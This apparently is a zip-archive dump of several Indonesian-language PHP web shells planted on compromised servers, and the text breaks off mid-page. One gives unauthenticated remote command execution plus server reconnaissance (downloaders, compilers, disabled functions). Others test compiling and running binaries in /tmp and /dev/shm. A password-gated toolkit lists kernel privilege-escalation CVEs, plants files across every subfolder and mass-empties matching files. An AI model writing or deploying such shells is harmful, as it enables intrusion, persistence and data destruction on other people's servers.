if (file_put_contents($newFilePath, '') !== false) {
$fileMessage = "File berhasil dibuat: " . htmlspecialchars($newFileName);
} else {
$fileMessage = "Gagal membuat file.";
}
} else {
$fileMessage = "File sudah ada.";
}
}
// Handle edit file content
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file']) && isset($_POST['edit_content'])) {
$editFileName = basename($_POST['edit_file']);
$editFilePath = $currentPath . DIRECTORY_SEPARATOR . $editFileName;
$editContent = $_POST['edit_content'];
if (file_exists($editFilePath) && is_file($editFilePath)) {
if (file_put_contents($editFilePath, $editContent) !== false) {
$editMessage = "File berhasil disimpan: " . htmlspecialchars($editFileName);
} else {
$editMessage = "Gagal menyimpan file.";
}
} else {
$editMessage = "File tidak ditemukan.";
}
}
// Handle command execution
$commandOutput = '';
if (isset($_POST['command'])) {
$command = $_POST['command'];
// Basic sanitization: allow only safe commands or all if trusted
// For demo, allow all, but in production, restrict
$commandOutput = shell_exec($command . ' 2>&1');
}
// Get list of files and directories
$items = scandir($currentPath);
$dirs = [];
$files = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$fullPath = $currentPath . DIRECTORY_SEPARATOR . $item;
if (is_dir($fullPath)) {
$dirs[] = $item;
} else {
$files[] = $item;
}
}
// Function to format file size
function formatSize($bytes) {
$units = ['B', 'KB', 'MB', 'GB'];
$i = 0;
while ($bytes >= 1024 && $i < 3) {
$bytes /= 1024;
$i++;
}
return round($bytes, 2) . ' ' . $units[$i];
}
// Function to get parent directory path
function parentDir($path) {
$parent = dirname($path);
if ($parent === $path) {
return null;
}
return $parent;
}
?>
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<title>File Manager Extended</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
.container { max-width: 900px; margin: auto; }
.path { background: #f0f0f0; padding: 10px; border-radius: 5px; margin-bottom: 20px; }
.item { padding: 5px 0; border-bottom: 1px solid #eee; }
.dir { color: blue; font-weight: bold; }
.file { color: green; }
.upload, .create, .edit, .command { margin-top: 20px; padding: 20px; border: 1px solid #ccc; border-radius: 5px; }
table { width: 100%; border-collapse: collapse; }
th, td { padding: 8px; text-align: left; border-bottom: 1px solid #ddd; }
th { background-color: #f2f2f2; }
textarea { width: 100%; height: 200px; }
input[type="text"] { width: 300px; }
.message { color: green; }
.error { color: red; }
a { text-decoration: none; }
</style>
</head>
<body>
<div class="container">
<h1>File Manager Extended</h1>
<div class="server-info">
<h2>Server Info</h2>
<pre>
Uname: <?php echo htmlspecialchars(shell_exec('uname -a') ?: 'Unknown'); ?>
User: <?php echo htmlspecialchars(get_current_user()); ?> Group: <?php echo function_exists('posix_getgid') ? posix_getgid() : 'Unknown'; ?> [ <?php echo htmlspecialchars(get_current_user()); ?> ]
PHP: <?php echo htmlspecialchars(phpversion()); ?> Safe Mode: <?php echo ini_get('safe_mode') ? 'ON' : 'OFF'; ?>
ServerIP: <?php echo htmlspecialchars($_SERVER['SERVER_ADDR'] ?? 'Unknown'); ?> Your IP: <?php echo htmlspecialchars($_SERVER['REMOTE_ADDR'] ?? 'Unknown'); ?>
DateTime: <?php echo date('Y-m-d H:i:s'); ?>
Domains: <?php echo htmlspecialchars(shell_exec('cat /etc/named.conf 2>/dev/null | grep -c "zone"') ?: 'Cant Read [ /etc/named.conf ]'); ?>
HDD: Total:<?php echo formatSize(disk_total_space(__DIR__)); ?> Free:<?php echo formatSize(disk_free_space(__DIR__)); ?> [<?php echo round((disk_free_space(__DIR__) / disk_total_space(__DIR__)) * 100); ?>%]
Useful : <?php echo htmlspecialchars(shell_exec('which gcc c++ ld make php perl ruby tar gzip 2>/dev/null | tr "\n" " "') ?: 'None'); ?>
Downloader: <?php echo htmlspecialchars(shell_exec('which wget lynx curl 2>/dev/null | tr "\n" " "') ?: 'None'); ?>
Disable Functions: <?php $df = ini_get('disable_functions'); echo $df ? htmlspecialchars($df) : 'All Functions Accessible'; ?>
CURL : <?php echo extension_loaded('curl') ? 'ON' : 'OFF'; ?> | SSH2 : <?php echo extension_loaded('ssh2') ? 'ON' : 'OFF'; ?> | Magic Quotes : <?php echo get_magic_quotes_gpc() ? 'ON' : 'OFF'; ?> | MySQL : <?php echo extension_loaded('mysql') || extension_loaded('mysqli') || extension_loaded('pdo_mysql') ? 'ON' : 'OFF'; ?> | MSSQL : <?php echo extension_loaded('mssql') || extension_loaded('sqlsrv') ? 'ON' : 'OFF'; ?> | PostgreSQL : <?php echo extension_loaded('pgsql') || extension_loaded('pdo_pgsql') ? 'ON' : 'OFF'; ?> | Oracle : <?php echo extension_loaded('oci8') || extension_loaded('pdo_oci') ? 'ON' : 'OFF'; ?> | CGI : <?php echo php_sapi_name() === 'cgi' ? 'ON' : 'OFF'; ?>
Open_basedir : <?php echo ini_get('open_basedir') ?: 'NONE'; ?> | Safe_mode_exec_dir : <?php echo ini_get('safe_mode_exec_dir') ?: 'NONE'; ?> | Safe_mode_include_dir : <?php echo ini_get('safe_mode_include_dir') ?: 'NONE'; ?>
SoftWare: <?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE'] ?? 'Unknown'); ?>
PWD: <?php echo htmlspecialchars(getcwd()); ?> [ Home Shell ]
</pre>
</div>
<div class="path">
<strong>Path:</strong> <?php echo htmlspecialchars($currentPath); ?>
<?php $parent = parentDir($currentPath); ?>
<?php if ($parent !== null): ?>
| <a href="?path=<?php echo urlencode($parent); ?>">⬆️ Parent Directory</a>
<?php endif; ?>
| <a href="?path=<?php echo urlencode($rootDir); ?>">🏠 Root Directory</a>
</div>
<div class="navigate">
<h2>Navigate to Path</h2>
<form method="GET">
<input type="text" name="path" placeholder="Enter full path" value="<?php echo htmlspecialchars($currentPath); ?>" required>
<button type="submit">Go</button>
</form>
</div>
<?php if (isset($uploadMessage)): ?>
<p class="message"><?php echo $uploadMessage; ?></p>
<?php endif; ?>
<?php if (isset($folderMessage)): ?>
<p class="message"><?php echo $folderMessage; ?></p>
<?php endif; ?>
<?php if (isset($fileMessage)): ?>
<p class="message"><?php echo $fileMessage; ?></p>
<?php endif; ?>
<?php if (isset($editMessage)): ?>
<p class="message"><?php echo $editMessage; ?></p>
<?php endif; ?>
<h2>Directories</h2>
<ul>
<?php foreach ($dirs as $dir): ?>
<li class="item dir">
<a href="?path=<?php echo urlencode($currentPath . DIRECTORY_SEPARATOR . $dir); ?>">
📁 <?php echo htmlspecialchars($dir); ?>
</a>
</li>
<?php endforeach; ?>
</ul>
<h2>Files</h2>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach ($files as $file): ?>
<tr class="item file">
<td>📄 <?php echo htmlspecialchars($file); ?></td>
<td><?php echo formatSize(filesize($currentPath . DIRECTORY_SEPARATOR . $file)); ?></td>
<td>
<a href="?path=<?php echo urlencode($currentPath); ?>&view=<?php echo urlencode($file); ?>">View</a>
<a href="?path=<?php echo urlencode($currentPath); ?>&download=<?php echo urlencode($file); ?>" download>Download</a>
<a href="?path=<?php echo urlencode($currentPath); ?>&edit=<?php echo urlencode($file); ?>">Edit</a>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<div class="upload">
<h2>Upload File</h2>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" required>
<button type="submit">Upload</button>
</form>
</div>
<div class="create">
<h2>Create New Folder</h2>
<form method="POST">
<input type="text" name="new_folder" placeholder="Folder name" required>
<button type="submit">Create Folder</button>
</form>
</div>
<div class="create">
<h2>Create New File</h2>
<form method="POST">
<input type="text" name="new_file" placeholder="File name" required>
<button type="submit">Create File</button>
</form>
</div>
<div class="command">
<h2>Server Info & Command Execution</h2>
<form method="POST">
<input type="text" name="command" placeholder="Enter command" required>
<button type="submit">Run Command</button>
</form>
<?php if ($commandOutput !== ''): ?>
<pre><?php echo htmlspecialchars($commandOutput); ?></pre>
<?php endif; ?>
</div>
</div>
<?php
// Handle view file
if (isset($_GET['view'])) {
$viewFile = basename($_GET['view']);
$viewPath = $currentPath . DIRECTORY_SEPARATOR . $viewFile;
if (file_exists($viewPath) && is_file($viewPath)) {
echo '<div class="container"><h2>Viewing: ' . htmlspecialchars($viewFile) . '</h2><pre>' . htmlspecialchars(file_get_contents($viewPath)) . '</pre></div>';
}
}
// Handle edit file form
if (isset($_GET['edit'])) {
$editFile = basename($_GET['edit']);
$editFilePath = $currentPath . DIRECTORY_SEPARATOR . $editFile;
if (file_exists($editFilePath) && is_file($editFilePath)) {
$content = file_get_contents($editFilePath);
?>
<div class="container edit">
<h2>Edit File: <?php echo htmlspecialchars($editFile); ?></h2>
<form method="POST">
<input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($editFile); ?>">
<textarea name="edit_content"><?php echo htmlspecialchars($content); ?></textarea><br>
<button type="submit">Save</button>
</form>
</div>
<?php
} else {
echo '<p class="error">File tidak ditemukan.</p>';
}
}
// Handle download
if (isset($_GET['download'])) {
$downloadFile = basename($_GET['download']);
$downloadPath = $currentPath . DIRECTORY_SEPARATOR . $downloadFile;
if (file_exists($downloadPath) && is_file($downloadPath)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $downloadFile . '"');
readfile($downloadPath);
exit;
}
}
?>
</body>
</html>
PK T0a[�.�j test/hanya/hanya.txtnu �[��� hanyaPK T0a[ test/mmn.txtnu �[��� PK T0a[ �=� � b.phpnu �[��� <?php
// compiler.php - PHP Direct Compilation Method
echo "<pre>";
echo "=== PHP DIRECT COMPILATION TEST ===\n\n";
// Step 1: Tulis code C ke file
$c_code = '#include <stdio.h>
#include <stdlib.h>
int main() {
printf("=== COMPILATION SUCCESS ===\\n");
printf("Server: %s\\n", getenv("HOSTNAME"));
printf("User: %s\\n", getenv("USER"));
printf("Time: %s\\n", __TIME__);
// Test system command execution
system("whoami > /tmp/whoami_result.txt");
system("id > /tmp/id_result.txt");
printf("Check files: /tmp/whoami_result.txt and /tmp/id_result.txt\\n");
return 0;
}';
$c_file = '/tmp/test_program.c';
file_put_contents($c_file, $c_code);
echo "1. ✅ C file created: $c_file\n";
// Step 2: Cek jika file berhasil dibuat
if(file_exists($c_file)) {
echo "2. ✅ File exists, size: " . filesize($c_file) . " bytes\n";
} else {
echo "2. ❌ File creation failed\n";
exit;
}
// Step 3: Compile dengan berbagai method PHP
echo "\n3. 🔧 Trying compilation methods:\n";
// Method A: system()
echo " Method A (system): ";
system("gcc $c_file -o /tmp/test_program 2>&1", $system_return);
echo "Return code: $system_return\n";
// Method B: shell_exec()
echo " Method B (shell_exec): ";
$shell_result = shell_exec("gcc $c_file -o /tmp/test_program 2>&1");
echo $shell_result ? "Has output\n" : "No output\n";
// Method C: exec()
echo " Method C (exec): ";
exec("gcc $c_file -o /tmp/test_program 2>&1", $exec_output, $exec_return);
echo "Return code: $exec_return, Output lines: " . count($exec_output) . "\n";
// Method D: Backticks
echo " Method D (backticks): ";
$backtick_result = `gcc $c_file -o /tmp/test_program 2>&1`;
echo $backtick_result ? "Has output\n" : "No output\n";
// Step 4: Cek jika binary berhasil dibuat
$binary_path = '/tmp/test_program';
echo "\n4. 🔍 Checking compilation result:\n";
if(file_exists($binary_path)) {
echo " ✅ BINARY CREATED: $binary_path\n";
echo " File size: " . filesize($binary_path) . " bytes\n";
echo " Permissions: " . substr(sprintf('%o', fileperms($binary_path)), -4) . "\n";
// Step 5: Execute binary
echo "\n5. 🚀 Executing compiled program:\n";
system("$binary_path 2>&1", $exec_return);
echo " Execution return code: $exec_return\n";
// Step 6: Cek output files
echo "\n6. 📁 Checking result files:\n";
$result_files = ['/tmp/whoami_result.txt', '/tmp/id_result.txt'];
foreach($result_files as $file) {
if(file_exists($file)) {
echo " ✅ $file: " . file_get_contents($file);
} else {
echo " ❌ $file: Not found\n";
}
}
} else {
echo " ❌ BINARY NOT CREATED - Compilation failed\n";
echo " Debug info:\n";
// Cek error yang lebih detail
echo " - C file content check:\n";
echo " " . file_get_contents($c_file) . "\n";
echo " - Directory listing /tmp/:\n";
system("ls -la /tmp/ | grep test_ 2>&1");
}
echo "\n=== END OF TEST ===\n";
echo "</pre>";
?>PK T0a[ht�=� � uyi.phpnu �[��� <?php
// compiler_ram.php - Use /dev/shm
echo "<pre>";
echo "=== RAM DISK COMPILATION TEST ===\n\n";
$c_code = '#include <stdio.h>
int main() {
printf("RAM DISK EXECUTION WORKS!\\n");
system("whoami > /dev/shm/ram_result.txt");
return 0;
}';
$c_file = '/dev/shm/ram_test.c';
$binary = '/dev/shm/ram_test';
file_put_contents($c_file, $c_code);
echo "1. C file created in /dev/shm/\n";
system("gcc $c_file -o $binary 2>&1");
echo "2. Compilation attempted\n";
if(file_exists($binary)) {
echo "3. Binary created, trying execution...\n";
system("$binary 2>&1", $ret);
echo "4. Execution return: $ret\n";
if(file_exists('/dev/shm/ram_result.txt')) {
echo "5. Result: " . file_get_contents('/dev/shm/ram_result.txt');
}
} else {
echo "3. ❌ Binary not created\n";
}
// Cleanup
if(file_exists($c_file)) unlink($c_file);
if(file_exists($binary)) unlink($binary);
if(file_exists('/dev/shm/ram_result.txt')) unlink('/dev/shm/ram_result.txt');
echo "</pre>";
?>PK T0a[.��[q [q tesy.phpnu �[��� <?php
session_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);
// ===== KONFIGURASI LOGIN =====
$stored_hash = "da86a3a1b1f29bceeda7b0f68ba90b5d"; // md5("Hadii")
// ===== LOGOUT =====
if (isset($_GET['logout'])) {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
// ===== LOGIN CHECK =====
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
$error = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) {
$password = $_POST['password'] ?? '';
if (md5($password) === $stored_hash) {
$_SESSION['logged_in'] = true;
header("Location: " . $_SERVER['PHP_SELF']);
exit;
} else {
$error = "Password salah!";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}
body {
font-family: Arial;
background: linear-gradient(135deg, #1a2a6c, #b21f1f, #fdbb2d);
text-align:center;
padding-top:100px;
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.login-container {
background: rgba(255, 255, 255, 0.95);
padding: 40px;
border-radius: 15px;
box-shadow: 0 15px 30px rgba(0,0,0,0.3);
width: 100%;
max-width: 400px;
}
h2 {
color: #1a2a6c;
margin-bottom: 30px;
font-size: 1.8rem;
}
input[type=password] {
padding: 15px;
width: 100%;
border: 2px solid #e0e0e0;
border-radius: 8px;
font-size: 1rem;
margin-bottom: 20px;
transition: border-color 0.3s;
}
input[type=password]:focus {
border-color: #1a2a6c;
outline: none;
}
input[type=submit] {
padding: 15px 30px;
background: linear-gradient(to right, #1a2a6c, #b21f1f);
color: white;
border: none;
border-radius: 8px;
font-size: 1rem;
font-weight: bold;
cursor: pointer;
transition: all 0.3s;
width: 100%;
}
input[type=submit]:hover {
background: linear-gradient(to right, #b21f1f, #fdbb2d);
transform: translateY(-2px);
}
.error {
color: #b21f1f;
background: #f8d7da;
padding: 10px;
border-radius: 5px;
margin-top: 15px;
border: 1px solid #f5c6cb;
}
</style>
</head>
<body>
<div class="login-container">
<h2>Masukkan Password</h2>
<form method="post">
<input type="hidden" name="login" value="1">
<input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Login">
<?php if (!empty($error)) echo "<div class='error'>$error</div>"; ?>
</form>
</div>
</body>
</html>
<?php
exit;
}
// ===== FUNGSI SISTEM INFORMASI =====
function getSystemInfo() {
$info = [];
// Informasi kernel
$info['kernel'] = php_uname('s') . ' ' . php_uname('r') . ' ' . php_uname('v');
// Alamat IP server
$info['server_ip'] = $_SERVER['SERVER_ADDR'] ?? 'Tidak tersedia';
// Alamat IP client
$info['client_ip'] = $_SERVER['REMOTE_ADDR'] ?? 'Tidak tersedia';
// Path lokasi script
$info['script_path'] = __FILE__;
// Working directory
$info['working_dir'] = getcwd();
// Informasi PHP
$info['php_version'] = phpversion();
// Informasi server
$info['server_software'] = $_SERVER['SERVER_SOFTWARE'] ?? 'Tidak tersedia';
return $info;
}
// ===== FUNGSI VULNERABILITY SCANNER =====
function checkKernelVulnerabilities($kernel) {
$vulnerabilities = [];
// Daftar kernel yang diketahui memiliki kerentanan (contoh)
$vulnerable_kernels = [
'Linux 3.10.0' => 'CVE-2016-5195 (Dirty COW) - Privilege escalation',
'Linux 4.4.0' => 'CVE-2017-16995 - Privilege escalation',
'Linux 4.10.0' => 'CVE-2017-1000112 - Memory corruption',
'Linux 4.14.0' => 'CVE-2018-5333 - Remote code execution',
'Linux 5.0.0' => 'CVE-2019-8912 - Information disclosure',
];
foreach ($vulnerable_kernels as $vuln_kernel => $description) {
if (strpos($kernel, $vuln_kernel) !== false) {
$vulnerabilities[] = [
'kernel' => $vuln_kernel,
'description' => $description,
'severity' => 'Tinggi'
];
}
}
// Jika tidak ditemukan kerentanan spesifik
if (empty($vulnerabilities)) {
$vulnerabilities[] = [
'kernel' => $kernel,
'description' => 'Tidak ditemukan kerentanan yang diketahui dalam database kami',
'severity' => 'Rendah'
];
}
return $vulnerabilities;
}
// ===== FUNGSI UPLOAD FILE =====
function handleFileUpload() {
$uploadResult = [];
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['uploaded_file'])) {
$uploadDir = 'uploads/';
// Buat direktori uploads jika belum ada
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$fileName = basename($_FILES['uploaded_file']['name']);
$filePath = $uploadDir . $fileName;
$fileType = strtolower(pathinfo($filePath, PATHINFO_EXTENSION));
// Validasi file (contoh: hanya izinkan file gambar dan txt)
$allowedTypes = ['jpg', 'jpeg', 'png', 'gif', 'txt', 'pdf'];
if (in_array($fileType, $allowedTypes)) {
if ($_FILES['uploaded_file']['size'] < 5000000) { // Maksimal 5MB
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $filePath)) {
$uploadResult['success'] = "File " . htmlspecialchars($fileName) . " berhasil diupload.";
$uploadResult['file_path'] = $filePath;
} else {
$uploadResult['error'] = "Terjadi kesalahan saat mengupload file.";
}
} else {
$uploadResult['error'] = "File terlalu besar. Maksimal 5MB.";
}
} else {
$uploadResult['error'] = "Hanya file JPG, JPEG, PNG, GIF, TXT, dan PDF yang diizinkan.";
}
}
return $uploadResult;
}
// ===== PROSES UPLOAD FILE =====
$uploadResult = handleFileUpload();
// ===== FITUR MASS UPLOADER =====
$results = [];
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
$action = $_POST['action'];
$basePath = rtrim($_POST['base_path'] ?? '', '/');
if (!is_dir($basePath)) {
$results[] = "<div class='error'>Base path tidak ditemukan: $basePath</div>";
} else {
if ($action === 'create') {
$folderName = trim($_POST['folder_name'] ?? '');
$fileName = trim($_POST['file_name'] ?? '');
$fileContent = $_POST['file_content'] ?? '';
$subfolders = glob($basePath . '/*', GLOB_ONLYDIR);
foreach ($subfolders as $sub) {
$targetFolder = $sub;
if ($folderName) {
$newFolder = $sub . '/' . $folderName;
if (!is_dir($newFolder)) {
if (mkdir($newFolder, 0755)) {
$results[] = "<div class='success'>Folder dibuat: $newFolder</div>";
} else {
$results[] = "<div class='error'>Gagal membuat folder: $newFolder</div>";
}
}
$targetFolder = $newFolder;
}
if ($fileName) {
$filePath = $targetFolder . '/' . $fileName;
// Backup jika file sudah ada
if (file_exists($filePath)) {
$backupPath = $filePath . '.bak';
if (file_exists($backupPath)) {
$backupPath = $filePath . '.' . time() . '.bak';
}
if (rename($filePath, $backupPath)) {
$results[] = "<div class='success'>File lama dipindahkan ke: " . htmlspecialchars($backupPath) . "</div>";
} else {
$results[] = "<div class='error'>Gagal membuat backup: " . htmlspecialchars($filePath) . "</div>";
}
}
// Buat file baru
if (file_put_contents($filePath, $fileContent) !== false) {
$results[] = "<div class='success'>File dibuat: " . htmlspecialchars($filePath) . "</div>";
} else {
$results[] = "<div class='error'>Gagal membuat file: " . htmlspecialchars($filePath) . "</div>";
}
}
}
if (empty($subfolders)) {
$results[] = "<div class='error'>Tidak ada subfolder di $basePath</div>";
}
} elseif ($action === 'scan') {
$ext = trim($_POST['file_ext'] ?? '');
$dateIn = trim($_POST['date_from'] ?? '');
if (!$ext || !$dateIn) {
$results[] = "<div class='error'>Ekstensi dan tanggal wajib diisi!</div>";
} else {
$timestamp = strtotime($dateIn . " 00:00:00");
$foundFiles = [];
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($basePath, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $file) {
if ($file->isFile() && strtolower(pathinfo($file, PATHINFO_EXTENSION)) === strtolower($ext)) {
if ($file->getMTime() >= $timestamp) {
$foundFiles[] = $file->getPathname();
}
}
}
if ($foundFiles) {
$results[] = "<div class='success'>Ditemukan " . count($foundFiles) . " file:</div><ul>";
foreach ($foundFiles as $f) {
$results[] = "<li>" . htmlspecialchars($f) . "</li>";
}
$results[] = "</ul>";
$_SESSION['scan_base'] = $basePath;
$_SESSION['scan_ext'] = $ext;
$_SESSION['scan_date'] = $dateIn;
} else {
$results[] = "<div class='error'>Tidak ada file .$ext setelah tanggal $dateIn</div>";
}
}
} elseif ($action === 'blank') {
$basePath = $_SESSION['scan_base'] ?? $basePath;
$ext = $_SESSION['scan_ext'] ?? '';
$dateIn = $_SESSION['scan_date'] ?? '';
$timestamp = strtotime($dateIn . " 00:00:00");
$count = 0;
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($basePath, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $file) {
if ($file->isFile() && strtolower(pathinfo($file, PATHINFO_EXTENSION)) === strtolower($ext)) {
if ($file->getMTime() >= $timestamp) {
if (file_put_contents($file->getPathname(), "") !== false) {
$results[] = "<div class='success'>Dikosongkan: ".htmlspecialchars($file->getPathname())."</div>";
$count++;
} else {
$results[] = "<div class='error'>Gagal kosongkan: ".htmlspecialchars($file->getPathname())."</div>";
}
}
}
}
if ($count === 0) {
$results[] = "<div class='error'>Tidak ada file .$ext yang bisa dikosongkan</div>";
}
}
}
}
// ===== DAPATKAN INFORMASI SISTEM =====
$systemInfo = getSystemInfo();
$vulnerabilities = checkKernelVulnerabilities($systemInfo['kernel']);
?>
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>System Manager - Complete Toolkit</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}
body {
background: linear-gradient(135deg, #1a2a6c, #b21f1f, #fdbb2d);
color: #333;
min-height: 100vh;
padding: 20px;
}
.container {
max-width: 1400px;
margin: 0 auto;
}
header {
text-align: center;
margin-bottom: 30px;
color: white;
text-shadow: 0 2px 4px rgba(0,0,0,0.3);
position: relative;
}
h1 {
font-size: 2.5rem;
margin-bottom: 10px;
}
.subtitle {
font-size: 1.2rem;
opacity: 0.9;
}
.logout {
position: absolute;
top: 0;
right: 0;
}
.logout a {
padding: 10px 20px;
background: #f44336;
color: white;
text-decoration: none;
border-radius: 5px;
transition: all 0.3s;
}
.logout a:hover {
background: #d32f2f;
transform: translateY(-2px);
}
.card {
background: rgba(255, 255, 255, 0.95);
border-radius: 15px;
padding: 25px;
margin-bottom: 25px;
box-shadow: 0 10px 20px rgba(0,0,0,0.2);
transition: transform 0.3s ease;
}
.card:hover {
transform: translateY(-5px);
}
.card h2 {
color: #1a2a6c;
margin-bottom: 15px;
padding-bottom: 10px;
border-bottom: 2px solid #fdbb2d;
}
.info-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
gap: 15px;
}
.info-item {
background: white;
padding: 15px;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0,0,0,0.1);
}
.info-label {
font-weight: bold;
color: #1a2a6c;
}
.vulnerability-item {
background: white;
padding: 15px;
border-radius: 10px;
margin-bottom: 10px;
border-left: 5px solid #b21f1f;
}
.severity-high {
border-left-color: #b21f1f;
}
.severity-low {
border-left-color: #28a745;
}
fieldset {
border: 2px solid #1a2a6c;
border-radius: 10px;
padding: 20px;
margin-bottom: 20px;
background: white;
}
legend {
font-weight: bold;
color: #1a2a6c;
padding: 0 10px;
font-size: 1.2rem;
}
input, textarea, select {
width: 100%;
padding: 12px;
margin: 8px 0;
border: 2px solid #e0e0e0;
border-radius: 8px;
font-size: 1rem;
transition: border-color 0.3s;
}
input:focus, textarea:focus, select:focus {
border-color: #1a2a6c;
outline: none;
}
button, .btn {
background: linear-gradient(to right, #1a2a6c, #b21f1f);
color: white;
border: none;
padding: 12px 25px;
border-radius: 8px;
cursor: pointer;
font-size: 1rem;
font-weight: bold;
transition: all 0.3s ease;
text-decoration: none;
display: inline-block;
margin: 5px;
}
button:hover, .btn:hover {
background: linear-gradient(to right, #b21f1f, #fdbb2d);
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(0,0,0,0.2);
}
.alert {
padding: 15px;
border-radius: 5px;
margin-bottom: 15px;
}
.alert-success {
background-color: #d4edda;
color: #155724;
border: 1px solid #c3e6cb;
}
.alert-error {
background-color: #f8d7da;
color: #721c24;
border: 1px solid #f5c6cb;
}
.success {
color: #28a745;
background: #d4edda;
padding: 10px;
border-radius: 5px;
margin: 5px 0;
border: 1px solid #c3e6cb;
}
.error {
color: #dc3545;
background: #f8d7da;
padding: 10px;
border-radius: 5px;
margin: 5px 0;
border: 1px solid #f5c6cb;
}
.tab-container {
display: flex;
margin-bottom: 20px;
background: white;
border-radius: 10px;
overflow: hidden;
box-shadow: 0 4px 6px rgba(0,0,0,0.1);
}
.tab {
padding: 15px 25px;
background: #f8f9fa;
border: none;
cursor: pointer;
flex: 1;
text-align: center;
font-weight: bold;
transition: all 0.3s;
}
.tab.active {
background: #1a2a6c;
color: white;
}
.tab-content {
display: none;
}
.tab-content.active {
display: block;
}
footer {
text-align: center;
margin-top: 30px;
color: white;
opacity: 0.8;
}
@media (max-width: 768px) {
.info-grid {
grid-template-columns: 1fr;
}
h1 {
font-size: 2rem;
}
.tab-container {
flex-direction: column;
}
}
</style>
</head>
<body>
<div class="container">
<header>
<div class="logout">
<a href="?logout=1">Logout</a>
</div>
<h1>System Manager - Complete Toolkit</h1>
<p class="subtitle">Informasi Sistem, Security Scanner, File Management & Mass Operations</p>
</header>
<!-- Tab Navigation -->
<div class="tab-container">
<button class="tab active" onclick="switchTab('system')">System Info</button>
<button class="tab" onclick="switchTab('security')">Security Scanner</button>
<button class="tab" onclick="switchTab('upload')">File Upload</button>
<button class="tab" onclick="switchTab('mass')">Mass Operations</button>
</div>
<!-- System Info Tab -->
<div id="system" class="tab-content active">
<div class="card">
<h2>Informasi Sistem</h2>
<div class="info-grid">
<div class="info-item">
<div class="info-label">Kernel</div>
<div><?php echo htmlspecialchars($systemInfo['kernel']); ?></div>
</div>
<div class="info-item">
<div class="info-label">IP Server</div>
<div><?php echo htmlspecialchars($systemInfo['server_ip']); ?></div>
</div>
<div class="info-item">
<div class="info-label">IP Client</div>
<div><?php echo htmlspecialchars($systemInfo['client_ip']); ?></div>
</div>
<div class="info-item">
<div class="info-label">Path Script</div>
<div><?php echo htmlspecialchars($systemInfo['script_path']); ?></div>
</div>
<div class="info-item">
<div class="info-label">Working Directory</div>
<div><?php echo htmlspecialchars($systemInfo['working_dir']); ?></div>
</div>
<div class="info-item">
<div class="info-label">Versi PHP</div>
<div><?php echo htmlspecialchars($systemInfo['php_version']); ?></div>
</div>
<div class="info-item">
<div class="info-label">Server Software</div>
<div><?php echo htmlspecialchars($systemInfo['server_software']); ?></div>
</div>
</div>
</div>
</div>
<!-- Security Scanner Tab -->
<div id="security" class="tab-content">
<div class="card">
<h2>Kernel Vulnerability Scanner</h2>
<?php foreach ($vulnerabilities as $vuln): ?>
<div class="vulnerability-item severity-<?php echo strtolower(explode(' ', $vuln['severity'])[0]); ?>">
<div class="info-label">Kernel: <?php echo htmlspecialchars($vuln['kernel']); ?></div>
<div><strong>Deskripsi:</strong> <?php echo htmlspecialchars($vuln['description']); ?></div>
<div><strong>Tingkat Keparahan:</strong> <?php echo htmlspecialchars($vuln['severity']); ?></div>
</div>
<?php endforeach; ?>
<p style="margin-top: 15px; font-style: italic;">
Catatan: Scanner ini hanya untuk tujuan edukasi dan menggunakan database terbatas.
Untuk analisis keamanan yang komprehensif, gunakan alat profesional seperti Nessus, OpenVAS, atau Nikto.
</p>
</div>
</div>
<!-- File Upload Tab -->
<div id="upload" class="tab-content">
<div class="card">
<h2>Upload File</h2>
<?php if (isset($uploadResult['success'])): ?>
<div class="alert alert-success">
<?php echo $uploadResult['success']; ?>
<?php if (isset($uploadResult['file_path'])): ?>
<br>File disimpan di: <?php echo htmlspecialchars($uploadResult['file_path']); ?>
<?php endif; ?>
</div>
<?php elseif (isset($uploadResult['error'])): ?>
<div class="alert alert-error">
<?php echo $uploadResult['error']; ?>
</div>
<?php endif; ?>
<form class="upload-form" action="" method="post" enctype="multipart/form-data">
<div class="form-group">
<label for="uploaded_file">Pilih file untuk diupload (maks. 5MB):</label>
<input type="file" name="uploaded_file" id="uploaded_file" required>
</div>
<button type="submit">Upload File</button>
</form>
<div style="margin-top: 15px;">
<p><strong>File yang diizinkan:</strong> JPG, JPEG, PNG, GIF, TXT, PDF</p>
</div>
</div>
</div>
<!-- Mass Operations Tab -->
<div id="mass" class="tab-content">
<div class="card">
